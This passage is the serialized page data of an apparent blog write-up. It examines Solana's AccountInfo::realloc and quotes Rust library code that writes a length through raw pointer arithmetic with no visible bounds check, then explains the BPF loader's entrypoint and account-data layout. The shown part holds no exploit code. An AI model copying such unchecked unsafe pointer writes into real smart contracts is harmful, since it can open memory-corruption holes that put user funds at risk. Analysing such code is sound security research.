slice\n",{"type":24,"tag":158,"props":15221,"children":15222},{"class":160,"line":700},[15223,15227,15231,15235,15239,15243,15247,15252,15256,15260,15264,15268,15273,15278,15282,15286,15290,15294,15298,15302,15306,15310,15314,15318,15322,15326,15330,15334,15338,15342,15346],{"type":24,"tag":158,"props":15224,"children":15225},{"style":165},[15226],{"type":29,"value":4732},{"type":24,"tag":158,"props":15228,"children":15229},{"style":177},[15230],{"type":29,"value":15091},{"type":24,"tag":158,"props":15232,"children":15233},{"style":222},[15234],{"type":29,"value":462},{"type":24,"tag":158,"props":15236,"children":15237},{"style":222},[15238],{"type":29,"value":8784},{"type":24,"tag":158,"props":15240,"children":15241},{"style":165},[15242],{"type":29,"value":2169},{"type":24,"tag":158,"props":15244,"children":15245},{"style":222},[15246],{"type":29,"value":615},{"type":24,"tag":158,"props":15248,"children":15249},{"style":188},[15250],{"type":29,"value":15251},"(((",{"type":24,"tag":158,"props":15253,"children":15254},{"style":165},[15255],{"type":29,"value":14947},{"type":24,"tag":158,"props":15257,"children":15258},{"style":222},[15259],{"type":29,"value":347},{"type":24,"tag":158,"props":15261,"children":15262},{"style":188},[15263],{"type":29,"value":5361},{"type":24,"tag":158,"props":15265,"children":15266},{"style":222},[15267],{"type":29,"value":347},{"type":24,"tag":158,"props":15269,"children":15270},{"style":496},[15271],{"type":29,"value":15272},"as_ptr",{"type":24,"tag":158,"props":15274,"children":15275},{"style":188},[15276],{"type":29,"value":15277},"() ",{"type":24,"tag":158,"props":15279,"children":15280},{"style":165},[15281],{"type":29,"value":2245},{"type":24,"tag":158,"props":15283,"children":15284},{"style":222},[15285],{"type":29,"value":615},{"type":24,"tag":158,"props":15287,"children":15288},{"style":165},[15289],{"type":29,"value":443},{"type":24,"tag":158,"props":15291,"children":15292},{"style":171},[15293],{"type":29,"value":230},{"type":24,"tag":158,"props":15295,"children":15296},{"style":188},[15297],{"type":29,"value":521},{"type":24,"tag":158,"props":15299,"children":15300},{"style":222},[15301],{"type":29,"value":347},{"type":24,"tag":158,"props":15303,"children":15304},{"style":496},[15305],{"type":29,"value":15135},{"type":24,"tag":158,"props":15307,"children":15308},{"style":188},[15309],{"type":29,"value":504},{"type":24,"tag":158,"props":15311,"children":15312},{"style":465},[15313],{"type":29,"value":5672},{"type":24,"tag":158,"props":15315,"children":15316},{"style":188},[15317],{"type":29,"value":723},{"type":24,"tag":158,"props":15319,"children":15320},{"style":165},[15321],{"type":29,"value":2245},{"type":24,"tag":158,"props":15323,"children":15324},{"style":171},[15325],{"type":29,"value":230},{"type":24,"tag":158,"props":15327,"children":15328},{"style":188},[15329],{"type":29,"value":723},{"type":24,"tag":158,"props":15331,"children":15332},{"style":165},[15333],{"type":29,"value":2245},{"type":24,"tag":158,"props":15335,"children":15336},{"style":222},[15337],{"type":29,"value":615},{"type":24,"tag":158,"props":15339,"children":15340},{"style":165},[15341],{"type":29,"value":2169},{"type":24,"tag":158,"props":15343,"children":15344},{"style":171},[15345],{"type":29,"value":230},{"type":24,"tag":158,"props":15347,"children":15348},{"style":188},[15349],{"type":29,"value":1071},{"type":24,"tag":158,"props":15351,"children":15352},{"class":160,"line":785},[15353,15357,15361,15365,15369,15373,15377],{"type":24,"tag":158,"props":15354,"children":15355},{"style":222},[15356],{"type":29,"value":9392},{"type":24,"tag":158,"props":15358,"children":15359},{"style":177},[15360],{"type":29,"value":15183},{"type":24,"tag":158,"props":15362,"children":15363},{"style":222},[15364],{"type":29,"value":462},{"type":24,"tag":158,"props":15366,"children":15367},{"style":177},[15368],{"type":29,"value":15192},{"type":24,"tag":158,"props":15370,"children":15371},{"style":165},[15372],{"type":29,"value":2231},{"type":24,"tag":158,"props":15374,"children":15375},{"style":171},[15376],{"type":29,"value":230},{"type":24,"tag":158,"props":15378,"children":15379},{"style":188},[15380],{"type":29,"value":473},{"type":24,"tag":158,"props":15382,"children":15383},{"class":160,"line":1447},[15384],{"type":24,"tag":158,"props":15385,"children":15386},{"style":188},[15387],{"type":29,"value":3967},{"type":24,"tag":158,"props":15389,"children":15390},{"class":160,"line":1509},[15391],{"type":24,"tag":158,"props":15392,"children":15393},{"emptyLinePlaceholder":16},[15394],{"type":29,"value":481},{"type":24,"tag":158,"props":15396,"children":15397},{"class":160,"line":1527},[15398],{"type":24,"tag":158,"props":15399,"children":15400},{"style":2588},[15401],{"type":29,"value":15402}," // zero-init if requested\n",{"type":24,"tag":158,"props":15404,"children":15405},{"class":160,"line":1545},[15406,15410,15415,15420,15424,15429,15433],{"type":24,"tag":158,"props":15407,"children":15408},{"style":1914},[15409],{"type":29,"value":3160},{"type":24,"tag":158,"props":15411,"children":15412},{"style":177},[15413],{"type":29,"value":15414}," zero_init",{"type":24,"tag":158,"props":15416,"children":15417},{"style":222},[15418],{"type":29,"value":15419}," &&",{"type":24,"tag":158,"props":15421,"children":15422},{"style":177},[15423],{"type":29,"value":15192},{"type":24,"tag":158,"props":15425,"children":15426},{"style":222},[15427],{"type":29,"value":15428}," >",{"type":24,"tag":158,"props":15430,"children":15431},{"style":177},[15432],{"type":29,"value":15022},{"type":24,"tag":158,"props":15434,"children":15435},{"style":188},[15436],{"type":29,"value":210},{"type":24,"tag":158,"props":15438,"children":15439},{"class":160,"line":1618},[15440,15445],{"type":24,"tag":158,"props":15441,"children":15442},{"style":496},[15443],{"type":29,"value":15444}," sol_memset",{"type":24,"tag":158,"props":15446,"children":15447},{"style":188},[15448],{"type":29,"value":2156},{"type":24,"tag":158,"props":15450,"children":15451},{"class":160,"line":1635},[15452,15456,15460,15464,15468,15472,15476,15480,15484,15489,15493],{"type":24,"tag":158,"props":15453,"children":15454},{"style":222},[15455],{"type":29,"value":9325},{"type":24,"tag":158,"props":15457,"children":15458},{"style":165},[15459],{"type":29,"value":2169},{"type":24,"tag":158,"props":15461,"children":15462},{"style":165},[15463],{"type":29,"value":15031},{"type":24,"tag":158,"props":15465,"children":15466},{"style":222},[15467],{"type":29,"value":347},{"type":24,"tag":158,"props":15469,"children":15470},{"style":496},[15471],{"type":29,"value":15108},{"type":24,"tag":158,"props":15473,"children":15474},{"style":188},[15475],{"type":29,"value":15113},{"type":24,"tag":158,"props":15477,"children":15478},{"style":222},[15479],{"type":29,"value":4820},{"type":24,"tag":158,"props":15481,"children":15482},{"style":188},[15483],{"type":29,"value":2048},{"type":24,"tag":158,"props":15485,"children":15486},{"style":177},[15487],{"type":29,"value":15488},"orig_len",{"type":24,"tag":158,"props":15490,"children":15491},{"style":222},[15492],{"type":29,"value":2030},{"type":24,"tag":158,"props":15494,"children":15495},{"style":188},[15496],{"type":29,"value":15497},"],\n",{"type":24,"tag":158,"props":15499,"children":15500},{"class":160,"line":1644},[15501,15506],{"type":24,"tag":158,"props":15502,"children":15503},{"style":465},[15504],{"type":29,"value":15505}," 0",{"type":24,"tag":158,"props":15507,"children":15508},{"style":188},[15509],{"type":29,"value":235},{"type":24,"tag":158,"props":15511,"children":15512},{"class":160,"line":1652},[15513,15518,15522,15527,15531,15535],{"type":24,"tag":158,"props":15514,"children":15515},{"style":177},[15516],{"type":29,"value":15517}," new_len",{"type":24,"tag":158,"props":15519,"children":15520},{"style":222},[15521],{"type":29,"value":347},{"type":24,"tag":158,"props":15523,"children":15524},{"style":496},[15525],{"type":29,"value":15526},"saturating_sub",{"type":24,"tag":158,"props":15528,"children":15529},{"style":188},[15530],{"type":29,"value":504},{"type":24,"tag":158,"props":15532,"children":15533},{"style":177},[15534],{"type":29,"value":15488},{"type":24,"tag":158,"props":15536,"children":15537},{"style":188},[15538],{"type":29,"value":8382},{"type":24,"tag":158,"props":15540,"children":15541},{"class":160,"line":1704},[15542],{"type":24,"tag":158,"props":15543,"children":15544},{"style":188},[15545],{"type":29,"value":9384},{"type":24,"tag":158,"props":15547,"children":15548},{"class":160,"line":1713},[15549],{"type":24,"tag":158,"props":15550,"children":15551},{"style":188},[15552],{"type":29,"value":3967},{"type":24,"tag":158,"props":15554,"children":15555},{"class":160,"line":1731},[15556],{"type":24,"tag":158,"props":15557,"children":15558},{"emptyLinePlaceholder":16},[15559],{"type":29,"value":481},{"type":24,"tag":158,"props":15561,"children":15562},{"class":160,"line":5485},[15563,15568],{"type":24,"tag":158,"props":15564,"children":15565},{"style":171},[15566],{"type":29,"value":15567}," Ok",{"type":24,"tag":158,"props":15569,"children":15570},{"style":188},[15571],{"type":29,"value":15572},"(())\n",{"type":24,"tag":158,"props":15574,"children":15575},{"class":160,"line":5493},[15576],{"type":24,"tag":158,"props":15577,"children":15578},{"style":188},[15579],{"type":29,"value":307},{"type":24,"tag":25,"props":15581,"children":15582},{},[15583,15585,15591,15593,15598],{"type":29,"value":15584},"Oh. There's ",{"type":24,"tag":154,"props":15586,"children":15588},{"className":15587},[],[15589],{"type":29,"value":15590},"unsafe",{"type":29,"value":15592},". And no bounds check in sight. ",{"type":24,"tag":32,"props":15594,"children":15595},{},[15596],{"type":29,"value":15597},"And",{"type":29,"value":15599}," pointer math. That doesn't look promising...",{"type":24,"tag":59,"props":15601,"children":15603},{"id":15602},"breaking-down-realloc",[15604,15606],{"type":29,"value":15605},"Breaking down ",{"type":24,"tag":154,"props":15607,"children":15609},{"className":15608},[],[15610],{"type":29,"value":14872},{"type":24,"tag":25,"props":15612,"children":15613},{},[15614,15616,15621],{"type":29,"value":15615},"Let's pick apart this ",{"type":24,"tag":154,"props":15617,"children":15619},{"className":15618},[],[15620],{"type":29,"value":15590},{"type":29,"value":15622}," block, since there's a lot going on here.",{"type":24,"tag":147,"props":15624,"children":15626},{"className":151,"code":15625,"language":150,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[15627],{"type":24,"tag":154,"props":15628,"children":15629},{"__ignoreMap":7},[15630,15638,15725],{"type":24,"tag":158,"props":15631,"children":15632},{"class":160,"line":161},[15633],{"type":24,"tag":158,"props":15634,"children":15635},{"style":2588},[15636],{"type":29,"value":15637},"// First set new length in the serialized data\n",{"type":24,"tag":158,"props":15639,"children":15640},{"class":160,"line":213},[15641,15645,15649,15653,15657,15661,15665,15669,15673,15677,15681,15685,15689,15693,15697,15701,15705,15709,15713,15717,15721],{"type":24,"tag":158,"props":15642,"children":15643},{"style":165},[15644],{"type":29,"value":2662},{"type":24,"tag":158,"props":15646,"children":15647},{"style":177},[15648],{"type":29,"value":15091},{"type":24,"tag":158,"props":15650,"children":15651},{"style":222},[15652],{"type":29,"value":462},{"type":24,"tag":158,"props":15654,"children":15655},{"style":165},[15656],{"type":29,"value":15031},{"type":24,"tag":158,"props":15658,"children":15659},{"style":222},[15660],{"type":29,"value":347},{"type":24,"tag":158,"props":15662,"children":15663},{"style":496},[15664],{"type":29,"value":15108},{"type":24,"tag":158,"props":15666,"children":15667},{"style":188},[15668],{"type":29,"value":15113},{"type":24,"tag":158,"props":15670,"children":15671},{"style":222},[15672],{"type":29,"value":4798},{"type":24,"tag":158,"props":15674,"children":15675},{"style":496},[15676],{"type":29,"value":15122},{"type":24,"tag":158,"props":15678,"children":15679},{"style":188},[15680],{"type":29,"value":15113},{"type":24,"tag":158,"props":15682,"children":15683},{"style":222},[15684],{"type":29,"value":347},{"type":24,"tag":158,"props":15686,"children":15687},{"style":496},[15688],{"type":29,"value":15135},{"type":24,"tag":158,"props":15690,"children":15691},{"style":188},[15692],{"type":29,"value":504},{"type":24,"tag":158,"props":15694,"children":15695},{"style":222},[15696],{"type":29,"value":5987},{"type":24,"tag":158,"props":15698,"children":15699},{"style":465},[15700],{"type":29,"value":5736},{"type":24,"tag":158,"props":15702,"children":15703},{"style":188},[15704],{"type":29,"value":723},{"type":24,"tag":158,"props":15706,"children":15707},{"style":165},[15708],{"type":29,"value":2245},{"type":24,"tag":158,"props":15710,"children":15711},{"style":222},[15712],{"type":29,"value":615},{"type":24,"tag":158,"props":15714,"children":15715},{"style":165},[15716],{"type":29,"value":2169},{"type":24,"tag":158,"props":15718,"children":15719},{"style":171},[15720],{"type":29,"value":230},{"type":24,"tag":158,"props":15722,"children":15723},{"style":188},[15724],{"type":29,"value":473},{"type":24,"tag":158,"props":15726,"children":15727},{"class":160,"line":238},[15728,15732,15736,15740,15744,15748,15752],{"type":24,"tag":158,"props":15729,"children":15730},{"style":222},[15731],{"type":29,"value":577},{"type":24,"tag":158,"props":15733,"children":15734},{"style":177},[15735],{"type":29,"value":15183},{"type":24,"tag":158,"props":15737,"children":15738},{"style":222},[15739],{"type":29,"value":462},{"type":24,"tag":158,"props":15741,"children":15742},{"style":177},[15743],{"type":29,"value":15192},{"type":24,"tag":158,"props":15745,"children":15746},{"style":165},[15747],{"type":29,"value":2231},{"type":24,"tag":158,"props":15749,"children":15750},{"style":171},[15751],{"type":29,"value":230},{"type":24,"tag":158,"props":15753,"children":15754},{"style":188},[15755],{"type":29,"value":473},{"type":24,"tag":25,"props":15757,"children":15758},{},[15759,15764],{"type":24,"tag":154,"props":15760,"children":15762},{"className":15761},[],[15763],{"type":29,"value":15108},{"type":29,"value":15765}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":395,"props":15767,"children":15769},{"id":15768},"bpf-loader-abi",[15770],{"type":29,"value":15771},"BPF Loader ABI",{"type":24,"tag":25,"props":15773,"children":15774},{},[15775,15777,15782,15784,15797],{"type":29,"value":15776},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":154,"props":15778,"children":15780},{"className":15779},[],[15781],{"type":29,"value":14887},{"type":29,"value":15783},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":101,"props":15785,"children":15788},{"href":15786,"rel":15787},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[105],[15789,15795],{"type":24,"tag":154,"props":15790,"children":15792},{"className":15791},[],[15793],{"type":29,"value":15794},"entrypoint!",{"type":29,"value":15796}," macro",{"type":29,"value":225},{"type":24,"tag":147,"props":15799,"children":15801},{"className":151,"code":15800,"language":150,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[15802],{"type":24,"tag":154,"props":15803,"children":15804},{"__ignoreMap":7},[15805,15813,15885,15928,15980,16039,16082,16125,16132],{"type":24,"tag":158,"props":15806,"children":15807},{"class":160,"line":161},[15808],{"type":24,"tag":158,"props":15809,"children":15810},{"style":188},[15811],{"type":29,"value":15812},"#[no_mangle]\n",{"type":24,"tag":158,"props":15814,"children":15815},{"class":160,"line":213},[15816,15820,15825,15830,15835,15839,15844,15848,15852,15856,15860,15864,15869,15873,15877,15881],{"type":24,"tag":158,"props":15817,"children":15818},{"style":165},[15819],{"type":29,"value":14924},{"type":24,"tag":158,"props":15821,"children":15822},{"style":165},[15823],{"type":29,"value":15824}," unsafe",{"type":24,"tag":158,"props":15826,"children":15827},{"style":165},[15828],{"type":29,"value":15829}," extern",{"type":24,"tag":158,"props":15831,"children":15832},{"style":1108},[15833],{"type":29,"value":15834}," \"C\"",{"type":24,"tag":158,"props":15836,"children":15837},{"style":165},[15838],{"type":29,"value":14929},{"type":24,"tag":158,"props":15840,"children":15841},{"style":496},[15842],{"type":29,"value":15843}," entrypoint",{"type":24,"tag":158,"props":15845,"children":15846},{"style":188},[15847],{"type":29,"value":504},{"type":24,"tag":158,"props":15849,"children":15850},{"style":177},[15851],{"type":29,"value":2217},{"type":24,"tag":158,"props":15853,"children":15854},{"style":222},[15855],{"type":29,"value":225},{"type":24,"tag":158,"props":15857,"children":15858},{"style":222},[15859],{"type":29,"value":615},{"type":24,"tag":158,"props":15861,"children":15862},{"style":165},[15863],{"type":29,"value":2169},{"type":24,"tag":158,"props":15865,"children":15866},{"style":171},[15867],{"type":29,"value":15868}," u8",{"type":24,"tag":158,"props":15870,"children":15871},{"style":188},[15872],{"type":29,"value":723},{"type":24,"tag":158,"props":15874,"children":15875},{"style":222},[15876],{"type":29,"value":14991},{"type":24,"tag":158,"props":15878,"children":15879},{"style":171},[15880],{"type":29,"value":230},{"type":24,"tag":158,"props":15882,"children":15883},{"style":188},[15884],{"type":29,"value":210},{"type":24,"tag":158,"props":15886,"children":15887},{"class":160,"line":238},[15888,15892,15896,15901,15905,15910,15914,15919,15923],{"type":24,"tag":158,"props":15889,"children":15890},{"style":165},[15891],{"type":29,"value":2710},{"type":24,"tag":158,"props":15893,"children":15894},{"style":188},[15895],{"type":29,"value":2262},{"type":24,"tag":158,"props":15897,"children":15898},{"style":177},[15899],{"type":29,"value":15900},"program_id",{"type":24,"tag":158,"props":15902,"children":15903},{"style":188},[15904],{"type":29,"value":191},{"type":24,"tag":158,"props":15906,"children":15907},{"style":177},[15908],{"type":29,"value":15909},"accounts",{"type":24,"tag":158,"props":15911,"children":15912},{"style":188},[15913],{"type":29,"value":191},{"type":24,"tag":158,"props":15915,"children":15916},{"style":177},[15917],{"type":29,"value":15918},"instruction_data",{"type":24,"tag":158,"props":15920,"children":15921},{"style":188},[15922],{"type":29,"value":723},{"type":24,"tag":158,"props":15924,"children":15925},{"style":222},[15926],{"type":29,"value":15927},"=\n",{"type":24,"tag":158,"props":15929,"children":15930},{"class":160,"line":259},[15931,15936,15940,15944,15949,15953,15958,15962,15967,15971,15975],{"type":24,"tag":158,"props":15932,"children":15933},{"style":165},[15934],{"type":29,"value":15935}," unsafe",{"type":24,"tag":158,"props":15937,"children":15938},{"style":188},[15939],{"type":29,"value":372},{"type":24,"tag":158,"props":15941,"children":15942},{"style":222},[15943],{"type":29,"value":1105},{"type":24,"tag":158,"props":15945,"children":15946},{"style":165},[15947],{"type":29,"value":15948},"crate",{"type":24,"tag":158,"props":15950,"children":15951},{"style":222},[15952],{"type":29,"value":2146},{"type":24,"tag":158,"props":15954,"children":15955},{"style":188},[15956],{"type":29,"value":15957},"entrypoint",{"type":24,"tag":158,"props":15959,"children":15960},{"style":222},[15961],{"type":29,"value":2146},{"type":24,"tag":158,"props":15963,"children":15964},{"style":496},[15965],{"type":29,"value":15966},"deserialize",{"type":24,"tag":158,"props":15968,"children":15969},{"style":188},[15970],{"type":29,"value":504},{"type":24,"tag":158,"props":15972,"children":15973},{"style":177},[15974],{"type":29,"value":2217},{"type":24,"tag":158,"props":15976,"children":15977},{"style":188},[15978],{"type":29,"value":15979},") };\n",{"type":24,"tag":158,"props":15981,"children":15982},{"class":160,"line":280},[15983,15988,15993,15998,16002,16006,16010,16014,16018,16022,16026,16030,16034],{"type":24,"tag":158,"props":15984,"children":15985},{"style":1914},[15986],{"type":29,"value":15987}," match",{"type":24,"tag":158,"props":15989,"children":15990},{"style":222},[15991],{"type":29,"value":15992}," $",{"type":24,"tag":158,"props":15994,"children":15995},{"style":177},[15996],{"type":29,"value":15997},"process_instruction",{"type":24,"tag":158,"props":15999,"children":16000},{"style":188},[16001],{"type":29,"value":504},{"type":24,"tag":158,"props":16003,"children":16004},{"style":222},[16005],{"type":29,"value":2212},{"type":24,"tag":158,"props":16007,"children":16008},{"style":177},[16009],{"type":29,"value":15900},{"type":24,"tag":158,"props":16011,"children":16012},{"style":188},[16013],{"type":29,"value":191},{"type":24,"tag":158,"props":16015,"children":16016},{"style":222},[16017],{"type":29,"value":2212},{"type":24,"tag":158,"props":16019,"children":16020},{"style":177},[16021],{"type":29,"value":15909},{"type":24,"tag":158,"props":16023,"children":16024},{"style":188},[16025],{"type":29,"value":191},{"type":24,"tag":158,"props":16027,"children":16028},{"style":222},[16029],{"type":29,"value":2212},{"type":24,"tag":158,"props":16031,"children":16032},{"style":177},[16033],{"type":29,"value":15918},{"type":24,"tag":158,"props":16035,"children":16036},{"style":188},[16037],{"type":29,"value":16038},") {\n",{"type":24,"tag":158,"props":16040,"children":16041},{"class":160,"line":301},[16042,16047,16052,16057,16061,16065,16069,16073,16077],{"type":24,"tag":158,"props":16043,"children":16044},{"style":171},[16045],{"type":29,"value":16046}," Ok",{"type":24,"tag":158,"props":16048,"children":16049},{"style":188},[16050],{"type":29,"value":16051},"(()) ",{"type":24,"tag":158,"props":16053,"children":16054},{"style":222},[16055],{"type":29,"value":16056},"=>",{"type":24,"tag":158,"props":16058,"children":16059},{"style":222},[16060],{"type":29,"value":15992},{"type":24,"tag":158,"props":16062,"children":16063},{"style":165},[16064],{"type":29,"value":15948},{"type":24,"tag":158,"props":16066,"children":16067},{"style":222},[16068],{"type":29,"value":2146},{"type":24,"tag":158,"props":16070,"children":16071},{"style":188},[16072],{"type":29,"value":15957},{"type":24,"tag":158,"props":16074,"children":16075},{"style":222},[16076],{"type":29,"value":2146},{"type":24,"tag":158,"props":16078,"children":16079},{"style":188},[16080],{"type":29,"value":16081},"SUCCESS,\n",{"type":24,"tag":158,"props":16083,"children":16084},{"class":160,"line":626},[16085,16090,16094,16099,16103,16107,16112,16116,16121],{"type":24,"tag":158,"props":16086,"children":16087},{"style":171},[16088],{"type":29,"value":16089}," Err",{"type":24,"tag":158,"props":16091,"children":16092},{"style":188},[16093],{"type":29,"value":504},{"type":24,"tag":158,"props":16095,"children":16096},{"style":177},[16097],{"type":29,"value":16098},"error",{"type":24,"tag":158,"props":16100,"children":16101},{"style":188},[16102],{"type":29,"value":723},{"type":24,"tag":158,"props":16104,"children":16105},{"style":222},[16106],{"type":29,"value":16056},{"type":24,"tag":158,"props":16108,"children":16109},{"style":177},[16110],{"type":29,"value":16111}," error",{"type":24,"tag":158,"props":16113,"children":16114},{"style":222},[16115],{"type":29,"value":347},{"type":24,"tag":158,"props":16117,"children":16118},{"style":496},[16119],{"type":29,"value":16120},"into",{"type":24,"tag":158,"props":16122,"children":16123},{"style":188},[16124],{"type":29,"value":5150},{"type":24,"tag":158,"props":16126,"children":16127},{"class":160,"line":668},[16128],{"type":24,"tag":158,"props":16129,"children":16130},{"style":188},[16131],{"type":29,"value":3967},{"type":24,"tag":158,"props":16133,"children":16134},{"class":160,"line":676},[16135],{"type":24,"tag":158,"props":16136,"children":16137},{"style":188},[16138],{"type":29,"value":307},{"type":24,"tag":25,"props":16140,"children":16141},{},[16142,16144,16149,16151,16157,16159,16166,16168,16174,16176,16183],{"type":29,"value":16143},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":154,"props":16145,"children":16147},{"className":16146},[],[16148],{"type":29,"value":5082},{"type":29,"value":16150}," buffer in from the loader, and calls ",{"type":24,"tag":154,"props":16152,"children":16154},{"className":16153},[],[16155],{"type":29,"value":16156},"solana_program::entrypoint::deserialize",{"type":29,"value":16158},", which then ",{"type":24,"tag":101,"props":16160,"children":16163},{"href":16161,"rel":16162},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[105],[16164],{"type":29,"value":16165},"parses out",{"type":29,"value":16167}," all the ",{"type":24,"tag":154,"props":16169,"children":16171},{"className":16170},[],[16172],{"type":29,"value":16173},"AccountInfo",{"type":29,"value":16175},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":101,"props":16177,"children":16180},{"href":16178,"rel":16179},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[105],[16181],{"type":29,"value":16182},"laid out",{"type":29,"value":225},{"type":24,"tag":147,"props":16185,"children":16187},{"className":151,"code":16186,"language":150,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[16188],{"type":24,"tag":154,"props":16189,"children":16190},{"__ignoreMap":7},[16191,16208,16288,16321,16328,16376,16421,16429,16453],{"type":24,"tag":158,"props":16192,"children":16193},{"class":160,"line":161},[16194,16199,16203],{"type":24,"tag":158,"props":16195,"children":16196},{"style":188},[16197],{"type":29,"value":16198},"#[allow(clippy",{"type":24,"tag":158,"props":16200,"children":16201},{"style":222},[16202],{"type":29,"value":2146},{"type":24,"tag":158,"props":16204,"children":16205},{"style":188},[16206],{"type":29,"value":16207},"cast_ptr_alignment)]\n",{"type":24,"tag":158,"props":16209,"children":16210},{"class":160,"line":213},[16211,16215,16220,16224,16228,16232,16236,16240,16244,16248,16252,16256,16260,16264,16268,16272,16276,16280,16284],{"type":24,"tag":158,"props":16212,"children":16213},{"style":165},[16214],{"type":29,"value":2662},{"type":24,"tag":158,"props":16216,"children":16217},{"style":177},[16218],{"type":29,"value":16219}," data_len",{"type":24,"tag":158,"props":16221,"children":16222},{"style":222},[16223],{"type":29,"value":462},{"type":24,"tag":158,"props":16225,"children":16226},{"style":222},[16227],{"type":29,"value":615},{"type":24,"tag":158,"props":16229,"children":16230},{"style":188},[16231],{"type":29,"value":504},{"type":24,"tag":158,"props":16233,"children":16234},{"style":177},[16235],{"type":29,"value":2217},{"type":24,"tag":158,"props":16237,"children":16238},{"style":222},[16239],{"type":29,"value":347},{"type":24,"tag":158,"props":16241,"children":16242},{"style":496},[16243],{"type":29,"value":426},{"type":24,"tag":158,"props":16245,"children":16246},{"style":188},[16247],{"type":29,"value":504},{"type":24,"tag":158,"props":16249,"children":16250},{"style":177},[16251],{"type":29,"value":15135},{"type":24,"tag":158,"props":16253,"children":16254},{"style":188},[16255],{"type":29,"value":723},{"type":24,"tag":158,"props":16257,"children":16258},{"style":165},[16259],{"type":29,"value":2245},{"type":24,"tag":158,"props":16261,"children":16262},{"style":222},[16263],{"type":29,"value":615},{"type":24,"tag":158,"props":16265,"children":16266},{"style":165},[16267],{"type":29,"value":443},{"type":24,"tag":158,"props":16269,"children":16270},{"style":171},[16271],{"type":29,"value":230},{"type":24,"tag":158,"props":16273,"children":16274},{"style":188},[16275],{"type":29,"value":723},{"type":24,"tag":158,"props":16277,"children":16278},{"style":165},[16279],{"type":29,"value":2245},{"type":24,"tag":158,"props":16281,"children":16282},{"style":171},[16283],{"type":29,"value":14965},{"type":24,"tag":158,"props":16285,"children":16286},{"style":188},[16287],{"type":29,"value":473},{"type":24,"tag":158,"props":16289,"children":16290},{"class":160,"line":238},[16291,16295,16300,16305,16309,16313,16317],{"type":24,"tag":158,"props":16292,"children":16293},{"style":177},[16294],{"type":29,"value":15135},{"type":24,"tag":158,"props":16296,"children":16297},{"style":222},[16298],{"type":29,"value":16299}," +=",{"type":24,"tag":158,"props":16301,"children":16302},{"style":496},[16303],{"type":29,"value":16304}," size_of",{"type":24,"tag":158,"props":16306,"children":16307},{"style":222},[16308],{"type":29,"value":2146},{"type":24,"tag":158,"props":16310,"children":16311},{"style":188},[16312],{"type":29,"value":3760},{"type":24,"tag":158,"props":16314,"children":16315},{"style":171},[16316],{"type":29,"value":4269},{"type":24,"tag":158,"props":16318,"children":16319},{"style":188},[16320],{"type":29,"value":10063},{"type":24,"tag":158,"props":16322,"children":16323},{"class":160,"line":259},[16324],{"type":24,"tag":158,"props":16325,"children":16326},{"emptyLinePlaceholder":16},[16327],{"type":29,"value":481},{"type":24,"tag":158,"props":16329,"children":16330},{"class":160,"line":280},[16331,16335,16340,16344,16349,16353,16358,16363,16367,16371],{"type":24,"tag":158,"props":16332,"children":16333},{"style":165},[16334],{"type":29,"value":2662},{"type":24,"tag":158,"props":16336,"children":16337},{"style":177},[16338],{"type":29,"value":16339}," data",{"type":24,"tag":158,"props":16341,"children":16342},{"style":222},[16343],{"type":29,"value":462},{"type":24,"tag":158,"props":16345,"children":16346},{"style":171},[16347],{"type":29,"value":16348}," Rc",{"type":24,"tag":158,"props":16350,"children":16351},{"style":222},[16352],{"type":29,"value":2146},{"type":24,"tag":158,"props":16354,"children":16355},{"style":496},[16356],{"type":29,"value":16357},"new",{"type":24,"tag":158,"props":16359,"children":16360},{"style":188},[16361],{"type":29,"value":16362},"(RefCell",{"type":24,"tag":158,"props":16364,"children":16365},{"style":222},[16366],{"type":29,"value":2146},{"type":24,"tag":158,"props":16368,"children":16369},{"style":496},[16370],{"type":29,"value":16357},{"type":24,"tag":158,"props":16372,"children":16373},{"style":188},[16374],{"type":29,"value":16375},"({\n",{"type":24,"tag":158,"props":16377,"children":16378},{"class":160,"line":301},[16379,16384,16388,16392,16396,16400,16404,16408,16413,16417],{"type":24,"tag":158,"props":16380,"children":16381},{"style":496},[16382],{"type":29,"value":16383}," from_raw_parts_mut",{"type":24,"tag":158,"props":16385,"children":16386},{"style":188},[16387],{"type":29,"value":504},{"type":24,"tag":158,"props":16389,"children":16390},{"style":177},[16391],{"type":29,"value":2217},{"type":24,"tag":158,"props":16393,"children":16394},{"style":222},[16395],{"type":29,"value":347},{"type":24,"tag":158,"props":16397,"children":16398},{"style":496},[16399],{"type":29,"value":426},{"type":24,"tag":158,"props":16401,"children":16402},{"style":188},[16403],{"type":29,"value":504},{"type":24,"tag":158,"props":16405,"children":16406},{"style":177},[16407],{"type":29,"value":15135},{"type":24,"tag":158,"props":16409,"children":16410},{"style":188},[16411],{"type":29,"value":16412},"), 